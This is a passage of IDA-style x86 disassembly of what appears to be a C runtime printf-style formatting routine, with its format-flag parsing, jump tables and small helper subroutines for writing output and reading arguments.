loc_424F22: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258E8o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_424F52
lea eax, [ebp+arg_8]
push eax
call sub_425AF0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_424F50
mov [ebp+var_234], 0FFFFFFFFh
loc_424F50: ; CODE XREF: sub_424CB0+294j
jmp short loc_424F69
; ---------------------------------------------------------------------------
loc_424F52: ; CODE XREF: sub_424CB0+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_424F69: ; CODE XREF: sub_424CB0:loc_424F50j
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_424F6E: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258ECo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_424FFC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, ds:byte_425931[ecx]
jmp ds:off_42591D[eax*4]
loc_424FA5: ; DATA XREF: seg000:00425925o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_424FFC
; ---------------------------------------------------------------------------
loc_424FB0: ; CODE XREF: sub_424CB0+2EEj
; DATA XREF: seg000:off_42591Do
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_424FDB
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_424FDB
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_424FE7
; ---------------------------------------------------------------------------
loc_424FDB: ; CODE XREF: sub_424CB0+309j
; sub_424CB0+315j
mov [ebp+var_18], 0
jmp loc_424D70
; ---------------------------------------------------------------------------
loc_424FE7: ; CODE XREF: sub_424CB0+329j
jmp short loc_424FFC
; ---------------------------------------------------------------------------
loc_424FE9: ; CODE XREF: sub_424CB0+2EEj
; DATA XREF: seg000:00425921o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_424FFC
; ---------------------------------------------------------------------------
loc_424FF3: ; CODE XREF: sub_424CB0+2EEj
; DATA XREF: seg000:00425929o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_424FFC: ; CODE XREF: sub_424CB0+2DEj
; sub_424CB0+2EEj ...
jmp loc_4258C2
; ---------------------------------------------------------------------------
loc_425001: ; CODE XREF: sub_424CB0+B9j
; DATA XREF: seg000:004258F0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_4256E7
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, ds:byte_42599C[edx]
jmp ds:off_425960[ecx*4]
loc_42503C: ; DATA XREF: seg000:off_425960o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_425051
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_425051: ; CODE XREF: sub_424CB0+385j
; sub_424CB0+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_425097
lea eax, [ebp+arg_8]
push eax
call sub_425B30
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_42E8B0
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_425095
mov [ebp+var_23C], 1
loc_425095: ; CODE XREF: sub_424CB0+3D9j
jmp short loc_4250BD
; ---------------------------------------------------------------------------
loc_425097: ; CODE XREF: sub_424CB0+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_425AF0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_4250BD: ; CODE XREF: sub_424CB0:loc_425095j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_4256E7
; ---------------------------------------------------------------------------
loc_4250CB: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425970o
lea eax, [ebp+arg_8]
push eax
call sub_425AF0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_4250F2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_42510C
loc_4250F2: ; CODE XREF: sub_424CB0+434j
mov edx, ds:off_450038
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_41AC70
add esp, 4
mov [ebp+var_24], eax
jmp short loc_42515B
; ---------------------------------------------------------------------------
loc_42510C: ; CODE XREF: sub_424CB0+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_42513C
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_42515B
; ---------------------------------------------------------------------------
loc_42513C: ; CODE XREF: sub_424CB0+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_42515B: ; CODE XREF: sub_424CB0+45Aj
; sub_424CB0+48Aj
jmp loc_4256E7
; ---------------------------------------------------------------------------
loc_425160: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425968o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_425176
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_425176: ; CODE XREF: sub_424CB0+385j
; sub_424CB0+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_42518B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_425197
; ---------------------------------------------------------------------------
loc_42518B: ; CODE XREF: sub_424CB0+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_425197: ; CODE XREF: sub_424CB0+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_425AF0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_425226
cmp [ebp+var_20], 0
jnz short loc_4251CD
mov ecx, ds:off_45003C
mov [ebp+var_20], ecx
loc_4251CD: ; CODE XREF: sub_424CB0+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_4251DD: ; CODE XREF: sub_424CB0+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
jz short loc_425216
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_425216
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_4251DD
; ---------------------------------------------------------------------------
loc_425216: ; CODE XREF: sub_424CB0+544j
; sub_424CB0+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_425280
; ---------------------------------------------------------------------------
loc_425226: ; CODE XREF: sub_424CB0+50Cj
cmp [ebp+var_20], 0
jnz short loc_425234
mov eax, ds:off_450038
mov [ebp+var_20], eax
loc_425234: ; CODE XREF: sub_424CB0+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_42523D: ; CODE XREF: sub_424CB0+5C2j
; DATA XREF: seg002:off_44D710o
mov edx, [ebp+var_258]
loc_425243: ; DATA XREF: seg002:00450924o
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_425274
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_425274
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_42523D
; ---------------------------------------------------------------------------
loc_425274: ; CODE XREF: sub_424CB0+5A4j
; sub_424CB0+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_425280: ; CODE XREF: sub_424CB0+574j
jmp loc_4256E7
; ---------------------------------------------------------------------------
loc_425285: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425980o
lea edx, [ebp+arg_8]
push edx
call sub_425AF0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_4252B3
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_4252C1
; ---------------------------------------------------------------------------
loc_4252B3: ; CODE XREF: sub_424CB0+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_4252C1: ; CODE XREF: sub_424CB0+601j
mov [ebp+var_23C], 1
jmp loc_4256E7
; ---------------------------------------------------------------------------
loc_4252D0: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425964o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_4252E0: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:0042597Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_425306
mov [ebp+var_234], 6
jmp short loc_425322
; ---------------------------------------------------------------------------
loc_425306: ; CODE XREF: sub_424CB0+648j
cmp [ebp+var_234], 0
jnz short loc_425322
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_425322
mov [ebp+var_234], 1
loc_425322: ; CODE XREF: sub_424CB0+654j
; sub_424CB0+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call ds:off_4503F8
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_425388
cmp [ebp+var_234], 0
jnz short loc_425388
mov ecx, [ebp+var_20]
push ecx
call ds:off_450404
add esp, 4
loc_425388: ; CODE XREF: sub_424CB0+6C0j
; sub_424CB0+6C9j
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_4253AA
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_4253AA
mov ecx, [ebp+var_20]
push ecx
call ds:off_4503FC
add esp, 4
loc_4253AA: ; CODE XREF: sub_424CB0+6DFj
; sub_424CB0+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_4253C7
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_4253C7: ; CODE XREF: sub_424CB0+703j
mov eax, [ebp+var_20]
push eax
call sub_41AC70
add esp, 4
mov [ebp+var_24], eax
jmp loc_4256E7
; ---------------------------------------------------------------------------
loc_4253DB: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425978o
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_425475
; ---------------------------------------------------------------------------
loc_4253F3: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425990o
mov [ebp+var_238], 0Ah
jmp short loc_425475
; ---------------------------------------------------------------------------
loc_4253FF: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425988o
mov [ebp+var_234], 8
loc_425409: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:0042596Co
mov [ebp+var_230], 7
jmp short loc_42541F
; ---------------------------------------------------------------------------
loc_425415: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425994o
mov [ebp+var_230], 27h
loc_42541F: ; CODE XREF: sub_424CB0+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_425453
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_425453: ; CODE XREF: sub_424CB0+784j
jmp short loc_425475
; ---------------------------------------------------------------------------
loc_425455: ; CODE XREF: sub_424CB0+385j
; DATA XREF: seg000:00425984o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_425475
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_425475: ; CODE XREF: sub_424CB0+73Ej
; sub_424CB0+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_42549E
lea ecx, [ebp+arg_8]
push ecx
call sub_425B10
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_42552F
; ---------------------------------------------------------------------------
loc_42549E: ; CODE XREF: sub_424CB0+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_4254F0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_4254D0
lea ecx, [ebp+arg_8]
push ecx
call sub_425AF0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_4254EE
; ---------------------------------------------------------------------------
loc_4254D0: ; CODE XREF: sub_424CB0+800j
lea edx, [ebp+arg_8]
push edx
call sub_425AF0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_4254EE: ; CODE XREF: sub_424CB0+81Ej
jmp short loc_42552F
; ---------------------------------------------------------------------------
loc_4254F0: ; CODE XREF: sub_424CB0+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_425515
lea ecx, [ebp+arg_8]
push ecx
call sub_425AF0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_42552F
; ---------------------------------------------------------------------------
loc_425515: ; CODE XREF: sub_424CB0+848j
lea edx, [ebp+arg_8]
push edx
call sub_425AF0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_42552F: ; CODE XREF: sub_424CB0+7E9j
; sub_424CB0:loc_4254EEj ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_425577
cmp [ebp+var_274], 0
jg short loc_425577
jl short loc_42554D
cmp [ebp+var_278], 0
jnb short loc_425577
loc_42554D: ; CODE XREF: sub_424CB0+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_42558F
; ---------------------------------------------------------------------------
loc_425577: ; CODE XREF: sub_424CB0+887j
; sub_424CB0+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_42558F: ; CODE XREF: sub_424CB0+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_4255B7
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_4255B7: ; CODE XREF: sub_424CB0+8EAj
cmp [ebp+var_234], 0
jge short loc_4255CC
mov [ebp+var_234], 1
jmp short loc_4255D5
; ---------------------------------------------------------------------------
loc_4255CC: ; CODE XREF: sub_424CB0+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_4255D5: ; CODE XREF: sub_424CB0+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_4255EC
mov [ebp+var_10], 0
loc_4255EC: ; CODE XREF: sub_424CB0+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_4255F2: ; CODE XREF: sub_424CB0+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_42561F
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_4256A0
loc_42561F: ; CODE XREF: sub_424CB0+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_420430
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_4203C0
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_425687
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_425687: ; CODE XREF: sub_424CB0+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_4255F2
; ---------------------------------------------------------------------------
loc_4256A0: ; CODE XREF: sub_424CB0+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_4256E7
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_4256CF
cmp [ebp+var_24], 0
jnz short loc_4256E7
loc_4256CF: ; CODE XREF: sub_424CB0+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_4256E7: ; CODE XREF: sub_424CB0+371j
; sub_424CB0+385j ...
cmp [ebp+var_23C], 0
jnz loc_4258C2
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_42574D
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_42571B
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_42574D
; ---------------------------------------------------------------------------
loc_42571B: ; CODE XREF: sub_424CB0+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_425735
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_42574D
; ---------------------------------------------------------------------------
loc_425735: ; CODE XREF: sub_424CB0+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_42574D
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_42574D: ; CODE XREF: sub_424CB0+A4Cj
; sub_424CB0+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_425785
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_425A60
add esp, 10h
loc_425785: ; CODE XREF: sub_424CB0+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_425AA0
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_4257D3
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_4257D3
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_425A60
add esp, 10h
loc_4257D3: ; CODE XREF: sub_424CB0+AFBj
; sub_424CB0+B05j
cmp [ebp+var_1C], 0
jz loc_425881
cmp [ebp+var_24], 0
jle loc_425881
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_4257F9: ; CODE XREF: sub_424CB0+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_42587F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_42E8B0
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_425859
jmp short loc_42587F
; ---------------------------------------------------------------------------
loc_425859: ; CODE XREF: sub_424CB0+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_425AA0
add esp, 10h
jmp loc_4257F9
; ---------------------------------------------------------------------------
loc_42587F: ; CODE XREF: sub_424CB0+B60j
; sub_424CB0+BA7j
jmp short loc_42589C
; ---------------------------------------------------------------------------
loc_425881: ; CODE XREF: sub_424CB0+B27j
; sub_424CB0+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_425AA0
add esp, 10h
loc_42589C: ; CODE XREF: sub_424CB0:loc_42587Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_4258C2
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_425A60
add esp, 10h
loc_4258C2: ; CODE XREF: sub_424CB0+ADj
; sub_424CB0+155j ...
jmp loc_424CD4
; ---------------------------------------------------------------------------
loc_4258C7: ; CODE XREF: sub_424CB0+3Bj
; sub_424CB0+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424CB0 endp
; ---------------------------------------------------------------------------
off_4258D4 dd offset loc_424D70 ; DATA XREF: sub_424CB0+B9r
dd offset loc_424E0A
dd offset loc_424E4C
dd offset loc_424EBB
dd offset loc_424F13
dd offset loc_424F22
dd offset loc_424F6E
dd offset loc_425001
off_4258F4 dd offset loc_424E98 ; DATA XREF: sub_424CB0+1CCr
dd offset loc_424EA3
dd offset loc_424E8E
dd offset loc_424E83
dd offset loc_424EAE
dd offset loc_424EB6
byte_42590C db 0 ; DATA XREF: sub_424CB0+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_42591D dd offset loc_424FB0 ; DATA XREF: sub_424CB0+2EEr
dd offset loc_424FE9
dd offset loc_424FA5
dd offset loc_424FF3
dd offset loc_424FFC
byte_425931 db 0 ; DATA XREF: sub_424CB0+2E8r
dw 404h
dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h
off_425960 dd offset loc_42503C ; DATA XREF: sub_424CB0+385r
dd offset loc_4252D0
dd offset loc_425160
dd offset loc_425409
dd offset loc_4250CB
dd offset loc_425051
dd offset loc_4253DB
dd offset loc_4252E0
dd offset loc_425285
dd offset loc_425455
dd offset loc_4253FF
dd offset loc_425176
dd offset loc_4253F3
dd offset loc_425415
dd offset loc_4256E7
byte_42599C db 0 ; DATA XREF: sub_424CB0+37Fr
db 0Eh, 1, 0Eh
dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4259E0 proc near ; CODE XREF: sub_424CB0+F5p
; sub_424CB0+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_425A22
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_425A35
; ---------------------------------------------------------------------------
loc_425A22: ; CODE XREF: sub_4259E0+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_424A30
add esp, 8
mov [ebp+var_4], eax
loc_425A35: ; CODE XREF: sub_4259E0+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_425A46
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_425A53
; ---------------------------------------------------------------------------
loc_425A46: ; CODE XREF: sub_4259E0+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_425A53: ; CODE XREF: sub_4259E0+64j
mov esp, ebp
pop ebp
retn
sub_4259E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425A60 proc near ; CODE XREF: sub_424CB0+ACDp
; sub_424CB0+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_425A63: ; CODE XREF: sub_425A60:loc_425A91j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_425A93
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4259E0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_425A91
jmp short loc_425A93
; ---------------------------------------------------------------------------
loc_425A91: ; CODE XREF: sub_425A60+2Dj
jmp short loc_425A63
; ---------------------------------------------------------------------------
loc_425A93: ; CODE XREF: sub_425A60+11j
; sub_425A60+2Fj
pop ebp
retn
sub_425A60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425AA0 proc near ; CODE XREF: sub_424CB0+AEBp
; sub_424CB0+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_425AA4: ; CODE XREF: sub_425AA0:loc_425AE4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_425AE6
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_4259E0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_425AE4
jmp short loc_425AE6
; ---------------------------------------------------------------------------
loc_425AE4: ; CODE XREF: sub_425AA0+40j
jmp short loc_425AA4
; ---------------------------------------------------------------------------
loc_425AE6: ; CODE XREF: sub_425AA0+12j
; sub_425AA0+42j
mov esp, ebp
pop ebp
retn
sub_425AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425AF0 proc near ; CODE XREF: sub_424CB0+218p
; sub_424CB0+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_425AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B10 proc near ; CODE XREF: sub_424CB0+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_425B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425B30 proc near ; CODE XREF: sub_424CB0+3B2p
arg_0 = dword ptr 8
push ebp
